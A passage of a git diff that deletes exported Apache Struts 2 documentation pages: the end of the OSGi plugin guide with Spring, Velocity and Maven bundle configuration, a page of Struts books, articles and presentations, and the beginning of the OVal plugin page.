-<h2 id="OSGiPlugin-UsingSpring">Using Spring</h2>
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>By default Spring OSGi loads its xml config files asynchronously, which causes the OSGi plugin to fail while starting. To fix this add this line to MANIFEST.MF:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Spring-Context:*;create-asynchronously:=false
-</pre>
-</div></div>
-<p>Or if using The Apache Felix maven plugin (see below for details):</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;Spring-Context&gt;*;create-asynchronously:=false&lt;/Spring-Context&gt;
-</pre>
-</div></div></div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Please note that you <strong>do not</strong> need to have the Struts Spring plugin in your application, in order to use Spring with the OSGi plugin.</p></div></div>
-<p>If you want to use the Spring as the object factory for your actions, then follow these steps:</p>
-<ol><li>Place your Spring xml files under <code>/META-INF/spring</code> in the <strong>bundle</strong> jar file</li><li>Place your Spring xml files under <code>/spring</code> (they must be in the classpath, if you are using maven, put thme under /src/resources/spring) in the <strong>application</strong></li><li>Copy all the bundle jar files into <code>/WEB-INF/classes/bundles</code> in your <strong>application</strong></li><li>Make sure that the following properties are set in struts.xml [...]
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.objectFactory" value="osgi" /&gt;
-&lt;constant name="struts.objectFactory.delegate" value="springOsgi" /&gt;
-</pre>
-</div></div></li><li>Configure your <strong>web.xml</strong> like:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"&gt;
-
-    &lt;display-name&gt;Struts Blank&lt;/display-name&gt;
-
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts2-prepare&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter&lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts2-execute&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter&lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-     &lt;filter-mapping&gt;
-        &lt;filter-name&gt;struts2-prepare&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;/filter-mapping&gt;
-
-    &lt;filter-mapping&gt;
-        &lt;filter-name&gt;struts2-execute&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;/filter-mapping&gt;
-
-    &lt;listener&gt;
-        &lt;listener-class&gt;org.apache.struts2.osgi.StrutsOsgiListener&lt;/listener-class&gt;
-    &lt;/listener&gt;
-
-    &lt;listener&gt;
-        &lt;listener-class&gt;org.apache.struts2.dispatcher.ng.listener.StrutsListener&lt;/listener-class&gt;
-    &lt;/listener&gt;
-
-    &lt;listener&gt;
-        &lt;listener-class&gt;org.springframework.web.context.ContextLoaderListener&lt;/listener-class&gt;
-    &lt;/listener&gt;
-
-    &lt;context-param&gt;
-        &lt;param-name&gt;contextClass&lt;/param-name&gt;
-        &lt;param-value&gt;org.springframework.osgi.web.context.support.OsgiBundleXmlWebApplicationContext&lt;/param-value&gt;
-    &lt;/context-param&gt;
-    &lt;context-param&gt;
-        &lt;param-name&gt;contextConfigLocation&lt;/param-name&gt;
-        &lt;param-value&gt;osgibundle:/META-INF/spring/*.xml&lt;/param-value&gt;
-    &lt;/context-param&gt;
-    &lt;context-param&gt;
-        &lt;param-name&gt;parentContextKey&lt;/param-name&gt;
-        &lt;param-value&gt;parent-context-bean&lt;/param-value&gt;
-    &lt;/context-param&gt;
-&lt;/web-app&gt;
-</pre>
-</div></div></li><li>Add the Spring OSGi, and Spring Web dependencies to your web app, if you are using maven:
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-    &lt;groupId&gt;org.springframework&lt;/groupId&gt;
-    &lt;artifactId&gt;spring-web&lt;/artifactId&gt;
-    &lt;version&gt;2.5.5&lt;/version&gt;
-&lt;/dependency&gt;
-&lt;dependency&gt;
-     &lt;groupId&gt;org.springframework.osgi&lt;/groupId&gt;
-     &lt;artifactId&gt;spring-osgi-web&lt;/artifactId&gt;
-     &lt;version&gt;1.1.2&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div></li><li>Download Spring OSGi and copy all the required bundles under <strong>/classes/bundles/2</strong>. For Struts OSGi 1.1.2, these are the required bundles:
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>com.springsource.org.aopalliance-1.0.0.jar
-com.springsource.org.apache.commons.logging-1.1.1.jar
-org.springframework.aop-2.5.5.A.jar
-org.springframework.beans-2.5.5.A.jar
-org.springframework.context-2.5.5.A.jar
-org.springframework.core-2.5.5.A.jar
-org.springframework.osgi.core-1.1.2.A.jar
-org.springframework.osgi.extender-1.1.2.A.jar
-org.springframework.osgi.io-1.1.2.A.jar
-org.springframework.osgi.web-1.1.2.A.jar
-org.springframework.web-2.5.5.A.jar
-</pre>
-</div></div></li><li>Put your bundles under <strong>/classes/bundles/3</strong></li></ol>
-
-
-<h2 id="OSGiPlugin-UsingVelocity">Using Velocity</h2>
-
-<p>If you are going to use Velocity results, then add Velocity and Common Digester jars to your application. Using maven:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-    &lt;groupId&gt;velocity&lt;/groupId&gt;
-    &lt;artifactId&gt;velocity&lt;/artifactId&gt;
-    &lt;version&gt;1.5&lt;/version&gt;
-&lt;/dependency&gt;
-
-&lt;dependency&gt;
-    &lt;groupId&gt;velocity-tools&lt;/groupId&gt;
-    &lt;artifactId&gt;velocity-tools&lt;/artifactId&gt;
-    &lt;version&gt;1.3&lt;/version&gt;
-&lt;/dependency&gt;
-
-&lt;dependency&gt;
-    &lt;groupId&gt;commons-digester&lt;/groupId&gt;
-    &lt;artifactId&gt;commons-digester&lt;/artifactId&gt;
-    &lt;version&gt;1.8&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<h2 id="OSGiPlugin-UsingTheConventionPlugin">Using The Convention Plugin</h2>
-
-<p>The Convention plugin will discover actions in bundles in the same way that it discovers them in normal applications. The Convention plugin expects result templates to be (by default) stored under <em>/WEB-INF/content</em>. When packaging actions inside bundles, there won't be a <em>WEB-INF</em> folder, so you must let Convention know where the templates are located. There are two ways of doing so(assuming the templates are under <em>/content</em>):</p>
-
-<p>1. Set the templates location constant in struts.xml (in the application struts.xml, not a bundled struts.xml)</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.convention.result.path" value="/content/"/&gt;
-</pre>
-</div></div>
-<p>2. Using the ResultPath annotation</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-@ResultPath("/content")
-public class HelloWorldAction extends ActionSupport
-...
-}
-</pre>
-</div></div>
-
-<h2 id="OSGiPlugin-TheOSGiinterceptor">The OSGi interceptor</h2>
-<p>The OSGi plugins defines the <code>osgi</code> interceptor and <code>osgiStack</code>(<code>defaultStack</code> plus the <code>osgi</code> interceptor) in the package <code>osgi-default</code>. This interceptor will check the action and if it implements <code>org.apache.struts2.osgi.interceptor.BundleContextAware</code>, it will invoke setBundleContext(BundleContext bundleContext) on the action, passing the BundleContext of the OSGi container. The interceptor also checks if the class  [...]
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class BookPriceAction extends ActionSupport implements ServiceAware&lt;BookPriceLookup&gt; {
-    private List&lt;BookPriceLookup&gt; services;
-
-    public void setServices(List&lt;BookPriceLookup&gt; services) {
-        this.services = services;
-    }
-}
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Keep in mind that the interceptor is not defined in the default struts package, so when using Convention, you need to specify the parent package as "osgi-default", either using annotations (@ParentPackage), or XML(<strong>this XML fragment must be in the struts XML config file in the application, not the bundle's</strong>, this is a current limitation of the OSGi plugin):</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.convention.default.parent.package" value="osgi-default" /&gt;
-</pre>
-</div></div></div></div>
-
-<h2 id="OSGiPlugin-Adminbundle">Admin bundle</h2>
-<p>An admin bundle is distributed with struts, which provides a simple interface to list the installed bundles. Using this interface the bundles can be stopped, started and updated (reloaded from the file system). This interface also provides information on the installed bundles, like OSGi metadata, and a list of packages and actions loaded from each bundle. An interactive AJAX shell is also available, which is just a web interface to the Apache Felix Shell. To use this bundle, just copy [...]
-
-<h2 id="OSGiPlugin-Aboutstopping/startingbundles">About stopping/starting bundles</h2>
-<p>When a bundle is started, the OSGi plugin will check for the header <code>Struts2-Enabled</code> in it. If it is set to "true", the bundle will be scanned for XML config and Convention config. When a bundle is stopped, any actions that were loaded from it will be removed from the runtime configuration.</p>
-
-<h2 id="OSGiPlugin-Settings">Settings</h2>
-
-<p>The following settings can be customized.  See the <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/display/WW/Configuration+Files">developer guide</a>.</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Setting </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Default </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Possible Values </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>struts.objectFactory.delegate</code> </p></td><td colspan="1" rows [...]
-
-
-<p>The following setting must be set as context parameters in <em>web.xml</em>, because they are used by the StrutsOsgiListener, for example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;context-param&gt;
-    &lt;param-name&gt;struts.osgi.clearBundleCache&lt;/param-name&gt;
-    &lt;param-value&gt;false&lt;/param-value&gt;
-&lt;/context-param&gt;
-</pre>
-</div></div>
-
-<p>If you are running your application on Glassfish 3 (which already contains Apache Felix) you must specify <code>struts.osgi.host</code>, like below:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;context-param&gt;
-    &lt;param-name&gt;struts.osgi.host&lt;/param-name&gt;
-    &lt;param-value&gt;Glassfish&lt;/param-value&gt;
-&lt;/context-param&gt;
-</pre>
-</div></div>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Setting </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Default </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Possible Values </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>struts.osgi.clearBundleCache</code> </p></td><td colspan="1" rowsp [...]
-
-
-<h2 id="OSGiPlugin-BuildingbundleswithMaven">Building bundles with Maven</h2>
-<p>Jar files can be turned into bundles using the <a shape="rect" class="external-link" href="http://cwiki.apache.org/FELIX/bundle-plugin-for-maven-bnd.html">Maven Bundle Plugin</a> like:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Bundle Plugin Example</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;build&gt;
-    &lt;plugins&gt;
-        &lt;plugin&gt;
-            &lt;groupId&gt;org.apache.felix&lt;/groupId&gt;
-            &lt;artifactId&gt;maven-bundle-plugin&lt;/artifactId&gt;
-            &lt;extensions&gt;true&lt;/extensions&gt;
-            &lt;version&gt;2.0.0&lt;/version&gt;
-            &lt;configuration&gt;
-                &lt;instructions&gt;
-                    &lt;manifestLocation&gt;META-INF&lt;/manifestLocation&gt;
-                    &lt;Struts2-Enabled&gt;true&lt;/Struts2-Enabled&gt;
-                    &lt;Export-Package&gt;org.apache.struts2.osgi.demo&lt;/Export-Package&gt;
-                    &lt;Import-Package&gt;*,com.opensymphony.xwork2&lt;/Import-Package&gt;
-                    &lt;Spring-Context&gt;*;create-asynchronously:=false&lt;/Spring-Context&gt;
-                &lt;/instructions&gt;
-            &lt;/configuration&gt;
-        &lt;/plugin&gt;
-    &lt;/plugins&gt;
-&lt;/build&gt;
-</pre>
-</div></div>
-
-<h2 id="OSGiPlugin-StrutsOSGi+SpringOSGidiagram">Struts OSGi + Spring OSGi diagram</h2>
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="osgi-plugin.data/struts-osgi.jpg"></span></p>
-
-<h2 id="OSGiPlugin-Resources">Resources</h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.osgi.org" rel="nofollow">OSGi</a></li><li><a shape="rect" class="external-link" href="http://felix.apache.org">Apache Felix</a></li><li><a shape="rect" class="external-link" href="http://www.springsource.org/osgi" rel="nofollow">Spring OSGi </a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/other-resources.html b/content/docs/other-resources.html
deleted file mode 100644
index 47a0681..0000000
--- a/content/docs/other-resources.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Other Resources</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="other-resources.html">Other Resources</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Other Resources</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=74009">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=74009">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=74009">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=74009">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=74009">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=74009">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="OtherResources-OtherResources">Other Resources</h2>
-
-<p>Several Struts 2 books, articles, and presentations are available elsewhere.</p>
-
-<h3 id="OtherResources-Books">Books</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><ul><li><a shape="rect" class="external-link" href="http://opensource.atlassian.com/confluence/oss/display/BOOKS/ISBN-1590599039" rel="nofollow">Practical Apache Struts 2 Web 2.0 Projects</a> (Ian Roughley), print-only, full-length, available now! <img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae [...]
-<h4 id="OtherResources-ComingSoon">Coming Soon</h4></li><li><a shape="rect" class="external-link" href="http://opensource.atlassian.com/confluence/oss/display/BOOKS/ISBN-0071489908" rel="nofollow">Struts 2: The Complete Reference</a> (James Holmes), print-only, pre-order only</li></ul>
-</td></tr></tbody></table></div>
-
-
-
-
-
-<h3 id="OtherResources-Articles">Articles</h3>
-
-<p>Articles are organized into the categories Adoption and Migration, Ajax, CRUD and Data Access, General, Getting Started.</p>
-
-<h4 id="OtherResources-AdoptionandMigration">Adoption and Migration</h4>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.javaworld.com/javaworld/jw-10-2007/jw-10-adoptingstruts2.html" rel="nofollow">Adopting Struts 2.0</a> (S. Sangeetha and S. V. Subrahmanya)</li><li><a shape="rect" class="external-link" href="http://www.developer.com/design/article.php/3709901" rel="nofollow">Comparing Struts 1 and Struts 2</a> (Michael Klaene)</li><li><a shape="rect" class="external-link" href="http://www.infoq.com/articles/migrating-struts-2-part2" rel="nofo [...]
-
-
-<h4 id="OtherResources-Ajax">Ajax</h4>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.theserverside.com/tt/articles/article.tss?l=AjaxCRUDStruts2" rel="nofollow">Ajax CRUD with Struts 2 and Tibco GI</a> (Brian Walsh)</li><li><a shape="rect" class="external-link" href="http://www.javaworld.com/javaworld/jw-08-2007/jw-08-ajaxtables.html" rel="nofollow">Ajax programming with Struts 2</a> (Oleg Mikheev)</li><li><a shape="rect" class="external-link" href="http://struts.javabeat.net/articles/2007/06/ajax-support-in- [...]
-
-
-<h4 id="OtherResources-BlogsaboutStruts">Blogs about Struts</h4>
-
-<ul><li><a shape="rect" class="external-link" href="http://java-x.blogspot.com/search/label/struts" rel="nofollow">Abhi on Java </a> (Abhi Vuyyuru)</li><li><a shape="rect" class="external-link" href="http://www.jroller.com/TedHusted/category/Struts" rel="nofollow">Macaroni </a> (Ted Husted)</li><li><a shape="rect" class="external-link" href="http://www.vitarara.org/cms/struts2cookbook" rel="nofollow">Mark's Struts 2 Cookbook</a> (Mark Menard)</li><li><a shape="rect" class="external-link" [...]
-
-
-<h4 id="OtherResources-CRUDandDataAccess">CRUD and Data Access</h4>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.theserverside.com/tt/articles/article.tss?l=AjaxCRUDStruts2" rel="nofollow">Ajax CRUD with Struts 2 and Tibco GI</a> (Brian Walsh)</li><li><a shape="rect" class="external-link" href="http://www.learntechnology.net/webwork-crud-lm.do" rel="nofollow">CRUD with WebWork, Spring, and JSTL</a> (Larry Meador)</li><li><a shape="rect" class="external-link" href="http://appfuse.org/display/APF/Demos+and+Videos" rel="nofollow">Easy CRUD [...]
-
-
-<h4 id="OtherResources-General">General</h4>
-
-<ul><li><a shape="rect" class="external-link" href="http://appfuse.org/display/APF/Using+Struts+2" rel="nofollow">AppFuse and Struts 2</a> (Matt Raible)</li><li><a shape="rect" class="external-link" href="http://www.theserverside.com/tt/articles/article.tss?l=SmartURLs" rel="nofollow">Building Struts 2 Apps without XML Gluecode</a> (Ted Husted)</li><li><a shape="rect" class="external-link" href="http://struts.apache.org/2.x/docs/extending-an-application-with-custom-plugins.html">Extendin [...]
-
-
-<h4 id="OtherResources-GettingStarted">Getting Started</h4>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.wantii.com/wordpress/?cat=3" rel="nofollow">Getting Started with Struts2</a> (Wesley Wannemacher)</li><li><a shape="rect" class="external-link" href="http://code.google.com/p/sq1-struts2/" rel="nofollow">Struts 2 from Square One</a> Draft manuscript covering part one of a  four-day training course (Ted Husted)</li><li><a shape="rect" class="external-link" href="https://www.arctechsoftware.com/tutorial/tutorial.do?subcatId=4"  [...]
-
-
-<h4 id="OtherResources-Testing">Testing</h4>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.soft-gems.net/index.php?option=com_content&amp;task=view&amp;id=47&amp;Itemid=33" rel="nofollow">Action Unit Testing With Struts 2.0 </a></li><li><a shape="rect" class="external-link" href="http://www.vitarara.org/cms/struts_2_cookbook/integration_testing" rel="nofollow">Integration Testing Struts 2, Spring, and Hibernate JPA </a></li><li><a shape="rect" class="external-link" href="http://arsenalist.com/2007/06/18/unit-testin [...]
-
-
-<h4 id="OtherResources-Validation">Validation</h4>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.oreillynet.com/onjava/blog/" rel="nofollow">Struts 2.0 Validations using Annotations</a> (Krishna Srinivasan)</li><li><a shape="rect" class="external-link" href="http://arsenalist.com/2007/05/10/struts-2-validation-using-annotations/" rel="nofollow">Validation using Annotations</a> (arsenalist)</li></ul>
-
-
-<h3 id="OtherResources-Presentations">Presentations</h3>
-
-<ul><li>Animated Tutorial for Struts2 (Mohammad SeyedAlavi)
-	<ul><li><a shape="rect" class="external-link" href="http://khorshid.ut.ac.ir/~m.s.alavi/Tutorial.zip" rel="nofollow">PowerPoint version</a> ZIP download (may not render correctly under OpenOffice)</li><li><a shape="rect" class="external-link" href="http://khorshid.ut.ac.ir/~m.s.alavi/Tutorial_pdf.zip" rel="nofollow">PDF version</a> ZIP download (without animation)</li></ul>
-	</li><li><a shape="rect" class="external-link" href="http://www.StrutsUniversity.org/Coding+Ajax+Applications+with+Struts" rel="nofollow">Coding Ajax Applications with Struts</a> (Ted Husted)</li><li><a shape="rect" class="external-link" href="http://static.raibledesigns.com/repository/presentations/MigratingFromStruts1ToStruts2.pdf" rel="nofollow">Migrating From Struts 1 to Struts 2 presentation</a> (Matt Raible)</li><li><a shape="rect" class="external-link" href="http://www.StrutsUniv [...]
-
-
-<h3 id="OtherResources-Tools">Tools</h3>
-<ul><li><a shape="rect" class="external-link" href="http://code.google.com/p/strutson/" rel="nofollow">Strutson</a>. Command line to generate applications based on Hibernate, JPA, Spring and Convention Plugin. It supports generation of actions, CRUD views and services from model classes.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/oval-plugin.html b/content/docs/oval-plugin.html
deleted file mode 100644
index 1ebfb60..0000000
--- a/content/docs/oval-plugin.html
+++ /dev/null
@@ -1,334 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>OVal Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="oval-plugin.html">OVal Plugin</a>
-        </td>
